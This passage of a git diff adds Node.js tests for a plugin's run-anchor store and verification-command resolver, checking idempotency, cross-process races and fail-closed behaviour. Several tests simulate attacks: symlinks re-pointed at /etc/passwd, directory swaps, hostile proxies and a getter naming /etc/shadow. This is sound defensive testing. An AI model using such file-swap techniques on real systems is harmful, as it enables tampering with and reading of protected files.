errorOf(() => store.submit(input)); + assert.equal(conflict.code, 'aggregate_run_identity_conflict'); + const afterConflict = await readFile(anchorPath); + assert.equal(afterConflict.equals(anchorBytes), false); + + await writeFile(anchorPath, anchorBytes, { mode: 0o600 }); + await chmod(anchorPath, 0o600); + await writeFile(requestPath, `${canonicalJsonStringify(makeSelectionRequest().record)}\n`, { mode: 0o600 }); + await chmod(requestPath, 0o600); + const unexpected = await errorOf(() => store.submit(input)); + assert.equal(unexpected.code, 'aggregate_run_unreadable'); + assert.equal((await readFile(anchorPath)).equals(anchorBytes), true); + assert.equal((await readdir(runDir)).includes('coordination.json'), false); + assert.equal((await readdir(runDir)).includes('created.json'), false); + }); +}); + +test('claim mismatch conflicts without removing the winner; crash temps are cleaned', async () => { + await withAnchor(async (root, store) => { + const first = await store.submit(makeSubmitInput()); + const claimPath = path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`); + const winner = await readFile(claimPath); + const conflict = makeSubmitInput({ assignmentCount: 8 }); + conflict.run_id = AGGREGATE_RUN_ID; + const error = await errorOf(() => store.submit(conflict)); + assert.ok(error.code === 'aggregate_run_identity_conflict' + || error.code === 'aggregate_run_idempotency_conflict', error.code); + assert.equal((await readFile(claimPath)).equals(winner), true); + assert.equal((await store.getByRunId(AGGREGATE_RUN_ID)).canonical_digest, first.record.canonical_digest); + + const tempName = `.tmp-${'ab'.repeat(16)}`; + await writeFile(path.join(root, tempName), 'torn', { mode: 0o600 }); + await writeFile(path.join(root, 'claims', tempName), 'torn', { mode: 0o600 }); + await writeFile(path.join(root, 'runs', AGGREGATE_RUN_ID, tempName), 'torn', { mode: 0o600 }); + await store.getByRunId(AGGREGATE_RUN_ID); + const rootNames = await readdir(root); + assert.ok(!rootNames.includes(tempName)); + const claimNames = await readdir(path.join(root, 'claims')); + assert.ok(!claimNames.includes(tempName)); + const runNames = await readdir(path.join(root, 'runs', AGGREGATE_RUN_ID)); + assert.ok(!runNames.includes(tempName)); + }); +}); + +test('symlink hardlink FIFO and directory swaps fail closed with typed content-free errors', async () => { + const parent = await makePrivateRoot('r1-r24a-swap-'); + try { + const real = path.join(parent, 'real'); + await mkdir(real, { mode: 0o700 }); + await chmod(real, 0o700); + const linked = path.join(parent, 'linked'); + await symlink(real, linked); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(linked))).code, + 'aggregate_run_root_unsafe'); + + const store = await initializeAggregateRunAnchorRoot(real); + await store.submit(makeSubmitInput()); + + const other = path.join(parent, 'other'); + await mkdir(other, { mode: 0o700 }); + await chmod(other, 0o700); + const otherStore = await initializeAggregateRunAnchorRoot(other); + await otherStore.submit(makeSubmitInput({ runId: 'aggregate-other-run' })); + const handle = store; + const swapped = path.join(parent, 'swapped'); + await rename(real, swapped); + await rename(other, real); + const swapError = await errorOf(() => handle.getByRunId(AGGREGATE_RUN_ID)); + assert.ok([ + 'aggregate_run_root_swapped', + 'aggregate_run_root_missing', + 'aggregate_run_root_unsafe', + 'aggregate_run_marker_swapped', + ].includes(swapError.code), swapError.code); + assertNoSecret(swapError); + + const marked = path.join(parent, 'marked'); + await mkdir(marked, { mode: 0o700 }); + await chmod(marked, 0o700); + await initializeAggregateRunAnchorRoot(marked); + const marker = path.join(marked, 'storage-root.v1'); + await rm(marker); + await symlink('/etc/passwd', marker); + const markerError = await errorOf(() => openAggregateRunAnchor(marked)); + assert.ok(markerError.code === 'aggregate_run_not_regular' + || markerError.code === 'aggregate_run_root_unsafe' + || markerError.code === 'aggregate_run_marker_swapped', markerError.code); + assertNoSecret(markerError); + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('claim and run directory swaps plus non-regular files fail closed', async () => { + await withAnchor(async (root, store) => { + await store.submit(makeSubmitInput()); + const claimPath = path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`); + const backup = path.join(path.dirname(root), `${path.basename(root)}-claim.bak`); + await rename(claimPath, backup); + await symlink('/tmp/ATTACKER-SECRET', claimPath); + const claimError = await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID)); + assert.ok([ + 'aggregate_run_not_regular', + 'aggregate_run_claim_swapped', + 'aggregate_run_root_unsafe', + 'aggregate_run_root_foreign', + ].includes(claimError.code), claimError.code); + assertNoSecret(claimError); + await rm(claimPath); + await rename(backup, claimPath); + + const runPath = path.join(root, 'runs', AGGREGATE_RUN_ID); + const moved = path.join(path.dirname(root), `${path.basename(root)}-run.moved`); + await rename(runPath, moved); + await mkdir(runPath, { mode: 0o700 }); + await chmod(runPath, 0o700); + const runError = await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID)); + assert.ok([ + 'aggregate_run_unreadable', + 'aggregate_run_dir_swapped', + 'aggregate_run_not_found', + ].includes(runError.code), runError.code); + await rm(moved, { recursive: true, force: true }); + }); +}); + +test('proxy accessor foreign flood oversized and duplicate JSON fail closed', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const { proxy, counts } = countingProxy(input); + const proxyError = await errorOf(() => store.submit(proxy)); + assert.equal(proxyError.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + await store.submit(input); + const accessor = { + ...makePlanInput(AGGREGATE_RUN_ID, true), + }; + Object.defineProperty(accessor, 'complete', { + get() { return true; }, + enumerable: true, + }); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: accessor, + }))).code, 'accessor_property_denied'); + + await writeFile(path.join(root, 'notes.txt'), 'ATTACKER-SECRET', { mode: 0o600 }); + const foreign = await errorOf(() => openAggregateRunAnchor(root)); + assert.equal(foreign.code, 'aggregate_run_root_foreign'); + assertNoSecret(foreign); + }); + + const flood = await makePrivateRoot('r1-r24a-flood-'); + try { + await initializeAggregateRunAnchorRoot(flood); + for (let index = 0; index < 70; index += 1) { + const runId = `aggregate-flood-${String(index).padStart(2, '0')}`; + const handle = await open(path.join(flood, 'claims', `${runId}.json`), 'wx', 0o600); + await handle.writeFile('{}\n'); + await handle.close(); + } + const flooded = await openAggregateRunAnchor(flood); + const error = await errorOf(() => flooded.submit(makeSubmitInput({ runId: 'aggregate-flood-zz' }))); + assert.ok(error.code === 'aggregate_run_flood' || error.code === 'aggregate_run_malformed', + error.code); + } finally { + await rm(flood, { recursive: true, force: true }); + } +}); + +test('outputs stay deeply frozen and diagnostics never echo secrets or record bodies', async () => { + await withAnchor(async (root, store) => { + const first = await store.submit(makeSubmitInput()); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(first.record)); + assert.ok(Object.isFrozen(first.coordination)); + const loaded = await store.getByRunId(AGGREGATE_RUN_ID); + assert.ok(Object.isFrozen(loaded)); + const plan = await store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(plan.coordination.phase, 'resolution_ready'); + assert.equal(plan.record.schema.startsWith('codex-co-engineer.'), true); + + const coordPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'coordination.json'); + const text = (await readFile(coordPath, 'utf8')).replace( + '"phase":"resolution_ready"', + '"phase":"ATTACKER-SECRET"', + ); + await writeFile(coordPath, text, { mode: 0o600 }); + const error = await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID)); + assertNoSecret(error); + assert.doesNotMatch(error.message, /resolution_ready/u); + }); +}); + +test('incomplete plan records and unknown keys fail closed before publication', async () => { + await withAnchor(async (_root, store) => { + await store.submit(makeSubmitInput()); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: AGGREGATE_RUN_ID, + complete: false, + }, + }))).code, 'aggregate_run_phase_conflict'); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: AGGREGATE_RUN_ID, + complete: true, + extra: true, + }, + }))).code, 'unknown_key'); + }); +}); + +test('path attacks and truncated files fail closed', async () => { + const root = await makePrivateRoot('r1-r24a-path-'); + try { + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot('relative/root'))).code, + 'aggregate_run_path_unsafe'); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(`${root}/../${path.basename(root)}`))).code, + 'aggregate_run_path_unsafe'); + const store = await initializeAggregateRunAnchorRoot(root); + await store.submit(makeSubmitInput()); + const anchorPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'anchor.json'); + await truncate(anchorPath, 12); + const error = await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID)); + assert.ok([ + 'aggregate_run_malformed', + 'aggregate_run_unreadable', + 'aggregate_run_identity_mismatch', + ].includes(error.code), error.code); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-aggregate-run-anchor.test.mjs b/plugins/codex-co-engineer/test/r1-aggregate-run-anchor.test.mjs new file mode 100644 index 0000000..c4fb2c2 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-aggregate-run-anchor.test.mjs @@ -0,0 +1,440 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { chmod, lstat, mkdir, readdir, readFile, rm, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { + AGGREGATE_RUN_ANCHOR_SCHEMA_ID, + AGGREGATE_STORAGE_ROOT_KIND, + STORAGE_ROOT_SCHEMA_ID, + initializeAggregateRunAnchorRoot, + openAggregateRunAnchor, +} from '../mcp/v3/aggregate-run-anchor.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { createRunJournal } from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { + AGGREGATE_RUN_ID, + defaultAnswers, + makePlanInput, + makePrivateRoot, + makeReplyInput, + makeSelectionRequest, + makeSubmitInput, +} from './fixtures/r1-aggregate-run-anchor-fixtures.mjs'; +import { makeSubmission } from './fixtures/r1-run-store-fixtures.mjs'; + +const WORKER = new URL('./fixtures/r1-aggregate-run-anchor-worker.mjs', import.meta.url).pathname; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +async function withAnchor(fn, options = {}) { + const root = await makePrivateRoot(); + try { + const store = await initializeAggregateRunAnchorRoot(root); + return await fn(root, store, options); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +function spawnWorker({ root, mode, runId = AGGREGATE_RUN_ID, assignmentCount = 1 }) { + const child = spawn(process.execPath, [WORKER, root, mode, runId, String(assignmentCount)], { + stdio: ['ignore', 'pipe', 'pipe'], + }); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { stdout += chunk; }); + child.stderr.on('data', (chunk) => { stderr += chunk; }); + const closed = new Promise((resolve, reject) => { + let finished = false; + child.on('error', (error) => { + if (finished) return; + finished = true; + reject(error); + }); + child.on('close', () => { + if (finished) return; + finished = true; + resolve(); + }); + }); + const done = closed.then(() => { + const lines = stdout.trim().split('\n').filter(Boolean); + assert.equal(lines.length, 1, `worker must print exactly one JSON line (${stderr.trim()})`); + assert.ok(lines[0].length <= 4096, 'worker JSON line exceeds the bounded length'); + return JSON.parse(lines[0]); + }); + return { done, closed, child }; +} + +async function waitWorkers(workers) { + const settled = await Promise.allSettled(workers.map((worker) => worker.done)); + await Promise.all(workers.map((worker) => worker.closed.catch(() => {}))); + const results = []; + for (const item of settled) { + if (item.status === 'rejected') throw item.reason; + results.push(item.value); + } + return results; +} + +test('initialize publishes an owner-only marker and open rejects unmarked empty roots', async () => { + const root = await makePrivateRoot(); + try { + assert.equal((await errorOf(() => openAggregateRunAnchor(root))).code, + 'aggregate_run_root_uninitialized'); + const store = await initializeAggregateRunAnchorRoot(root); + assert.equal(store.root, root); + assert.match(store.marker_digest, /^sha256:[0-9a-f]{64}$/u); + assert.equal(typeof store.cas, 'undefined'); + const names = await readdir(root); + assert.deepEqual(names.sort(), ['claims', 'runs', 'storage-root.v1']); + const marker = JSON.parse((await readFile(path.join(root, 'storage-root.v1'), 'utf8')).trim()); + assert.equal(marker.schema, STORAGE_ROOT_SCHEMA_ID); + assert.equal(marker.kind, AGGREGATE_STORAGE_ROOT_KIND); + const stat = await lstat(path.join(root, 'storage-root.v1')); + assert.equal(stat.isFile(), true); + assert.equal(stat.nlink, 1); + assert.equal(stat.mode & 0o777, 0o600); + const claimsStat = await lstat(path.join(root, 'claims')); + assert.equal(claimsStat.isDirectory(), true); + assert.equal(claimsStat.mode & 0o777, 0o700); + const reopened = await openAggregateRunAnchor(root); + assert.equal(reopened.marker_digest, store.marker_digest); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(root))).code, + 'aggregate_run_root_foreign'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('submit persists 1- and 8-assignment identities and exact retry is idempotent', async () => { + await withAnchor(async (root, store) => { + const one = makeSubmitInput({ assignmentCount: 1 }); + const first = await store.submit(one); + assert.equal(first.created, true); + assert.equal(first.record.schema, AGGREGATE_RUN_ANCHOR_SCHEMA_ID); + assert.equal(first.record.run_id, AGGREGATE_RUN_ID); + assert.equal(first.coordination.phase, 'submitted'); + assert.equal(first.coordination.revision, 0); + assertFrozenTree(first); + const claimStat = await lstat(path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`)); + const runStat = await lstat(path.join(root, 'runs', AGGREGATE_RUN_ID)); + assert.equal(claimStat.isFile(), true); + assert.equal(claimStat.nlink, 1); + assert.equal(runStat.isDirectory(), true); + const replay = await store.submit({ ...one }); + assert.equal(replay.created, false); + assert.equal(replay.record.canonical_digest, first.record.canonical_digest); + assert.equal(canonicalJsonStringify(replay.record), canonicalJsonStringify(first.record)); + const afterClaim = await lstat(path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`)); + assert.equal(afterClaim.ino, claimStat.ino); + const claim = JSON.parse((await readFile(path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`), 'utf8')).trim()); + const stamp = JSON.parse((await readFile(path.join(root, 'runs', AGGREGATE_RUN_ID, 'created.json'), 'utf8')).trim()); + assert.equal(stamp.nonce, claim.nonce); + assert.equal(stamp.record_canonical_digest, first.record.canonical_digest); + + const eight = makeSubmitInput({ runId: 'aggregate-eight-lane-run', assignmentCount: 8 }); + const createdEight = await store.submit(eight); + assert.equal(createdEight.created, true); + assert.notEqual(createdEight.record.canonical_digest, first.record.canonical_digest); + assert.equal(createdEight.record.run_id, 'aggregate-eight-lane-run'); + assert.equal(eight.identity.manifest_digest !== one.identity.manifest_digest, true); + const restarted = await openAggregateRunAnchor(root); + const loaded = await restarted.getByRunId(AGGREGATE_RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + const coord = await restarted.getCoordination(AGGREGATE_RUN_ID); + assert.equal(coord.phase, 'submitted'); + assert.equal(coord.revision, 0); + }); +}); + +test('P05 selection identity commits through the absorbing lattice and identical retries', async () => { + await withAnchor(async (_root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + assert.match(selection.identity.request_id, /^sel-[0-9a-f]{32}$/u); + const requested = await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + assert.equal(requested.created, true); + assert.equal(requested.coordination.phase, 'awaiting_selection'); + assert.equal(requested.coordination.revision, 1); + assert.equal(requested.coordination.selection_request_binding.request_id, selection.identity.request_id); + assert.equal(requested.coordination.selection_request_binding.digest, selection.identity.digest); + const replayRequest = await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + assert.equal(replayRequest.created, false); + assert.equal(replayRequest.coordination.state_digest, requested.coordination.state_digest); + + const resolved = await store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, + selection.identity.request_id, + defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(resolved.created, true); + assert.equal(resolved.coordination.phase, 'resolution_ready'); + assert.equal(resolved.coordination.revision, 2); + const replayResolved = await store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, + selection.identity.request_id, + defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(replayResolved.created, false); + assert.equal(replayResolved.coordination.state_digest, resolved.coordination.state_digest); + }); +}); + +test('submitted@0 can absorb directly into resolution_ready@1 for a complete plan', async () => { + await withAnchor(async (_root, store) => { + await store.submit(makeSubmitInput()); + const first = await store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(first.created, true); + assert.equal(first.coordination.phase, 'resolution_ready'); + assert.equal(first.coordination.revision, 1); + assert.equal(first.coordination.selection_request_binding, null); + const replay = await store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(replay.created, false); + assert.equal((await errorOf(() => store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: makeSelectionRequest().identity, + record: makeSelectionRequest().record, + }))).code, 'aggregate_run_revision_conflict'); + }); +}); + +test('root-kind reverse separation with P24 and P25 fails closed without writes', async () => { + const p24 = await makePrivateRoot('r1-r24a-p24-'); + const p25 = await makePrivateRoot('r1-r24a-p25-'); + const r24a = await makePrivateRoot('r1-r24a-own-'); + try { + const store = await openRunStore(p24); + await store.submit(makeSubmission()); + const beforeP24 = (await readdir(p24)).sort(); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(p24))).code, + 'aggregate_run_root_shared'); + assert.equal((await errorOf(() => openAggregateRunAnchor(p24))).code, + 'aggregate_run_root_shared'); + assert.deepEqual((await readdir(p24)).sort(), beforeP24); + + await store.submit(makeSubmission({ runId: 'run-journal-bind' })); + await createRunJournal({ root: p25, store, run_id: 'run-journal-bind' }); + const beforeP25 = (await readdir(p25)).sort(); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(p25))).code, + 'aggregate_run_root_shared'); + assert.equal((await errorOf(() => openAggregateRunAnchor(p25))).code, + 'aggregate_run_root_shared'); + assert.deepEqual((await readdir(p25)).sort(), beforeP25); + + const anchor = await initializeAggregateRunAnchorRoot(r24a); + await anchor.submit(makeSubmitInput()); + const beforeR24a = (await readdir(r24a)).sort(); + const p24OnR24a = await errorOf(() => openRunStore(r24a)); + assert.ok(['run_store_foreign_entry', 'run_store_root_unsafe', 'run_store_not_regular'] + .includes(p24OnR24a.code), p24OnR24a.code); + const p25OnR24a = await errorOf(() => createRunJournal({ + root: r24a, store, run_id: 'run-journal-bind', + })); + assert.ok(typeof p25OnR24a.code === 'string' && p25OnR24a.code.startsWith('run_')); + assert.deepEqual((await readdir(r24a)).sort(), beforeR24a); + } finally { + await rm(p24, { recursive: true, force: true }); + await rm(p25, { recursive: true, force: true }); + await rm(r24a, { recursive: true, force: true }); + } +}); + +test('exact claim recovers the same identity; empty dir without claim is never adopted', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const first = await store.submit(input); + const claimPath = path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`); + const claimBytes = await readFile(claimPath); + await rm(path.join(root, 'runs', AGGREGATE_RUN_ID), { recursive: true, force: true }); + const recovered = await store.submit(input); + assert.equal(recovered.record.canonical_digest, first.record.canonical_digest); + assert.equal((await readFile(claimPath)).equals(claimBytes), true); + + const foreignId = 'aggregate-empty-dir-run'; + await mkdir(path.join(root, 'runs', foreignId), { mode: 0o700 }); + await chmod(path.join(root, 'runs', foreignId), 0o700); + const emptyError = await errorOf(() => store.submit(makeSubmitInput({ runId: foreignId }))); + assert.equal(emptyError.code, 'aggregate_run_claim_conflict'); + assert.equal((await readdir(path.join(root, 'claims'))).includes(`${foreignId}.json`), false); + }); +}); + +test('exact claim resumes empty, anchor, and initial-coordination prefixes', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const first = await store.submit(input); + const runDir = path.join(root, 'runs', AGGREGATE_RUN_ID); + const claimPath = path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`); + const claimBytes = await readFile(claimPath); + const claim = JSON.parse(claimBytes.toString('utf8').trim()); + + await rm(path.join(runDir, 'anchor.json')); + await rm(path.join(runDir, 'coordination.json')); + await rm(path.join(runDir, 'created.json')); + assert.deepEqual((await readdir(runDir)).filter((name) => !name.startsWith('.')), []); + const empty = await store.submit(input); + assert.equal(empty.record.canonical_digest, first.record.canonical_digest); + assert.equal(empty.coordination.phase, 'submitted'); + assert.equal((await store.getByRunId(AGGREGATE_RUN_ID)).canonical_digest, first.record.canonical_digest); + const emptyStamp = JSON.parse((await readFile(path.join(runDir, 'created.json'), 'utf8')).trim()); + assert.equal(emptyStamp.nonce, claim.nonce); + + await rm(path.join(runDir, 'coordination.json')); + await rm(path.join(runDir, 'created.json')); + const anchored = await store.submit(input); + assert.equal(anchored.record.canonical_digest, first.record.canonical_digest); + assert.equal((await store.getCoordination(AGGREGATE_RUN_ID)).phase, 'submitted'); + assert.equal((await readFile(claimPath)).equals(claimBytes), true); + + await rm(path.join(runDir, 'created.json')); + const resumed = await store.submit(input); + assert.equal(resumed.record.canonical_digest, first.record.canonical_digest); + const loaded = await store.getByRunId(AGGREGATE_RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + const stamp = JSON.parse((await readFile(path.join(runDir, 'created.json'), 'utf8')).trim()); + assert.equal(stamp.nonce, claim.nonce); + assert.equal(stamp.record_canonical_digest, first.record.canonical_digest); + }); +}); + +test('valid alternate stamp nonce substitution fails get, submit, and mutation', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const first = await store.submit(input); + const stampPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'created.json'); + const stampBytes = await readFile(stampPath); + const stamp = JSON.parse(stampBytes.toString('utf8').trim()); + const alternate = stamp.nonce === 'ab'.repeat(16) ? 'cd'.repeat(16) : 'ab'.repeat(16); + stamp.nonce = alternate; + await writeFile(stampPath, `${canonicalJsonStringify(stamp)}\n`, { mode: 0o600 }); + await chmod(stampPath, 0o600); + + assert.equal((await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID))).code, + 'aggregate_run_dir_swapped'); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_dir_swapped'); + const replay = await errorOf(() => store.submit(input)); + assert.equal(replay.code, 'aggregate_run_dir_swapped'); + assert.notEqual(replay.code, undefined); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }))).code, 'aggregate_run_dir_swapped'); + assert.equal((await readFile(stampPath)).equals(Buffer.from(`${canonicalJsonStringify(stamp)}\n`)), true); + assert.equal(first.created, true); + }); +}); + +test('cross-process 13/13 submit and mutation keep one winner without ENOTEMPTY or hang', { + timeout: 60_000, +}, async () => { + await withAnchor(async (root) => { + const submits = Array.from({ length: 13 }, () => spawnWorker({ root, mode: 'submit' })); + const submitResults = await waitWorkers(submits); + const created = submitResults.filter((result) => result.ok && result.created); + const idempotent = submitResults.filter((result) => result.ok && result.created === false); + assert.equal(created.length, 1, JSON.stringify(submitResults)); + assert.equal(created.length + idempotent.length, 13); + for (const result of submitResults) { + assert.equal(result.ok, true, result.code); + assert.notEqual(result.code, 'ENOTEMPTY'); + } + const claimNames = (await readdir(path.join(root, 'claims'))) + .filter((name) => name.endsWith('.json')); + assert.equal(claimNames.length, 1); + const runNames = (await readdir(path.join(root, 'runs'))) + .filter((name) => !name.startsWith('.')); + assert.equal(runNames.length, 1); + + const mutations = Array.from({ length: 13 }, () => spawnWorker({ root, mode: 'plan' })); + const mutationResults = await waitWorkers(mutations); + const mutationCreated = mutationResults.filter((result) => result.ok && result.created); + const mutationReplay = mutationResults.filter((result) => result.ok && result.created === false); + assert.equal(mutationCreated.length, 1, JSON.stringify(mutationResults)); + assert.equal(mutationCreated.length + mutationReplay.length, 13); + for (const result of mutationResults) { + assert.equal(result.ok, true, result.code); + assert.notEqual(result.code, 'ENOTEMPTY'); + } + const store = await openAggregateRunAnchor(root); + const coord = await store.getCoordination(AGGREGATE_RUN_ID); + assert.equal(coord.phase, 'resolution_ready'); + assert.equal(coord.revision, 1); + }); +}); + +test('conflicting cross-process submits keep the winner paths', { timeout: 60_000 }, async () => { + await withAnchor(async (root) => { + const first = spawnWorker({ root, mode: 'submit', runId: AGGREGATE_RUN_ID, assignmentCount: 1 }); + await waitWorkers([first]); + const conflicts = Array.from({ length: 8 }, () => spawnWorker({ + root, mode: 'submit', runId: AGGREGATE_RUN_ID, assignmentCount: 8, + })); + const results = await waitWorkers(conflicts); + for (const result of results) { + assert.equal(result.ok, false); + assert.ok(result.code === 'aggregate_run_identity_conflict' + || result.code === 'aggregate_run_idempotency_conflict', result.code); + assert.notEqual(result.code, 'ENOTEMPTY'); + } + const claims = await readdir(path.join(root, 'claims')); + assert.equal(claims.filter((name) => name.endsWith('.json')).length, 1); + const store = await openAggregateRunAnchor(root); + const loaded = await store.getByRunId(AGGREGATE_RUN_ID); + const expected = makeSubmitInput({ assignmentCount: 1 }); + assert.equal(loaded.run_id, expected.run_id); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs new file mode 100644 index 0000000..c791ed0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs @@ -0,0 +1,377 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_POLICY_OBJECT_KEYS, + parseVerificationPolicyV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + resolveApprovedVerificationCommandV1, +} from '../mcp/v3/approved-verification-command.mjs'; +import { + countingProxy, + parameterizedRequest, + trapTotal, + typedRequest, + validCommand, + validPolicy, + validRequest, + validSelection, + validTypedParameters, +} from './fixtures/r1-approved-verification-command-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('live proxies are denied with zero traps on every resolver surface', () => { + const { proxy, counts } = countingProxy(validRequest()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const policyCounts = countingProxy(validPolicy()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1({ + policy: policyCounts.proxy, + selection: validSelection(), + })).code, 'proxy_denied'); + assert.equal(trapTotal(policyCounts.counts), 0); + + const selectionCounts = countingProxy(validSelection()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: selectionCounts.proxy, + })).code, 'proxy_denied'); + assert.equal(trapTotal(selectionCounts.counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', () => { + const { proxy, revoke } = Proxy.revocable(validRequest(), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = errorOf(() => resolveApprovedVerificationCommandV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); + assert.equal(error.message.includes('revoked get'), false); + assert.equal(error.message.includes('TypeError'), false); +}); + +test('accessor properties are rejected and their getters never run', () => { + let reads = 0; + const getterRequest = validRequest(); + Object.defineProperty(getterRequest, 'policy', { + enumerable: true, + get() { + reads += 1; + return validPolicy(); + }, + }); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + let throwingReads = 0; + const throwingSelection = validSelection(); + Object.defineProperty(throwingSelection, 'command_id', { + enumerable: true, + get() { + throwingReads += 1; + throw new Error('getter bomb /etc/shadow'); + }, + }); + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: throwingSelection, + })); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(throwingReads, 0); + assert.equal(error.message.includes('/etc/shadow'), false); + assert.equal(error.message.includes('getter bomb'), false); +}); + +test('non-enumerable fields, symbol keys, and exotic prototypes are denied', () => { + const hidden = validRequest(); + Object.defineProperty(hidden, 'selection', { enumerable: false, value: validSelection() }); + assert.equal(errorOf(() => 